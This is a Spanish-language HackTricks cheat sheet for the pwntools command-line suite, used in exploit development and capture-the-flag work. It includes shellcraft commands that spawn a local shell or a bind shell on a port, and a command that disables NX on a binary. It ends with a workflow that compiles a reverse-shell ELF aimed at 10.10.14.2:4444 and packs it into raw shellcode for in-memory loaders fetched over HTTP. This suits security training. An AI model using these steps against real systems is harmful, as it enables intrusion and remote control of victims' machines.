PwnTools

Reading time: 5 minutes

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks
pip3 install pwntools

Pwn asm

Obtén opcodes desde una línea o un archivo.

pwn asm "jmp esp"
pwn asm -i <filepath>

Puede seleccionar:

  • tipo de salida (raw,hex,string,elf)
  • contexto de archivo de salida (16,32,64,linux,windows...)
  • evitar bytes (saltos de línea, null, una lista)
  • seleccionar encoder, debug, shellcode; usar gdb para ejecutar la salida

Pwn checksec

Script de Checksec

pwn checksec <executable>

Pwn constgrep

Pwn cyclic

Obtener un patrón

pwn cyclic 3000
pwn cyclic -l faad

Puede seleccionar:

  • El alfabeto usado (caracteres minúsculos por defecto)
  • Longitud del patrón único (por defecto 4)
  • Contexto (16,32,64,linux,windows...)
  • Tomar el offset (-l)

Pwn debug

Adjuntar GDB a un proceso

pwn debug --exec /bin/bash
pwn debug --pid 1234
pwn debug --process bash

Puede seleccionar:

  • Por ejecutable, por nombre o por contexto de pid (16,32,64,linux,windows...)
  • gdbscript para ejecutar
  • sysrootpath

Pwn disablenx

Deshabilitar NX de un binario

pwn disablenx <filepath>

Pwn disasm

Disas hex opcodes

pwn disasm ffe4

Puede seleccionar:

  • context (16,32,64,linux,windows...)
  • dirección base
  • color (por defecto)/sin color

Pwn elfdiff

Imprime las diferencias entre 2 archivos

pwn elfdiff <file1> <file2>

Pwn hex

Obtener la representación hexadecimal

bash
pwn hex hola #Get hex of "hola" ascii

Pwn phd

Obtener hexdump

pwn phd <file>

Puede seleccionar:

  • Número de bytes a mostrar
  • Número de bytes por línea, byte resaltado
  • Omitir bytes al principio

Pwn pwnstrip

Pwn scrable

Pwn shellcraft

Obtener shellcodes

pwn shellcraft -l #List shellcodes
pwn shellcraft -l amd #Shellcode with amd in the name
pwn shellcraft -f hex amd64.linux.sh #Create in C and run
pwn shellcraft -r amd64.linux.sh #Run to test. Get shell
pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port

Puede seleccionar:

  • shellcode y argumentos para el shellcode
  • Archivo de salida
  • formato de salida
  • debug (adjuntar dbg al shellcode)
  • antes (debug trap antes del código)
  • después
  • evitar usar opcodes (por defecto: no null y nueva línea)
  • Ejecutar el shellcode
  • Color/sin color
  • listar syscalls
  • listar shellcodes posibles
  • Generar ELF como biblioteca compartida

Pwn template

Obtener una plantilla de python

pwn template

Puede seleccionar: host, port, user, pass, path and quiet

Pwn unhex

De hex a string

pwn unhex 686f6c61

Actualización de Pwn

Para actualizar pwntools

pwn update

ELF → raw shellcode packaging (loader_append)

Pwntools puede convertir un ELF independiente en un único blob de raw shellcode que mapea sus segmentos y transfiere la ejecución al entrypoint original. Esto es ideal para memory‑only loaders (p. ej., Android apps que invocan JNI para ejecutar bytes descargados).

Flujo típico (ejemplo amd64)

  1. Construir un payload ELF estático e independiente de la posición (se recomienda musl para portabilidad):
bash
musl-gcc -O3 -s -static -o exploit exploit.c \
-DREV_SHELL_IP="\"10.10.14.2\"" -DREV_SHELL_PORT="\"4444\""
  1. Convertir ELF → shellcode con pwntools:
python
# exp2sc.py
from pwn import *
context.clear(arch='amd64')
elf = ELF('./exploit')
sc = asm(shellcraft.loader_append(elf.data, arch='amd64'))
open('sc','wb').write(sc)
print(f"ELF size={len(elf.data)} bytes, shellcode size={len(sc)} bytes")
  1. Entregar sc a un memory loader (p. ej., vía HTTP[S]) y ejecutar in-process.

Notas

  • loader_append incrusta el programa ELF original en el shellcode y emite un tiny loader que mmaps los segmentos y salta al entry.
  • Sé explícito sobre la arquitectura usando context.clear(arch=...). arm64 es común en Android.
  • Mantén el código de tu payload independiente de la posición y evita asumir nada sobre ASLR/NX del proceso.

Referencias

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks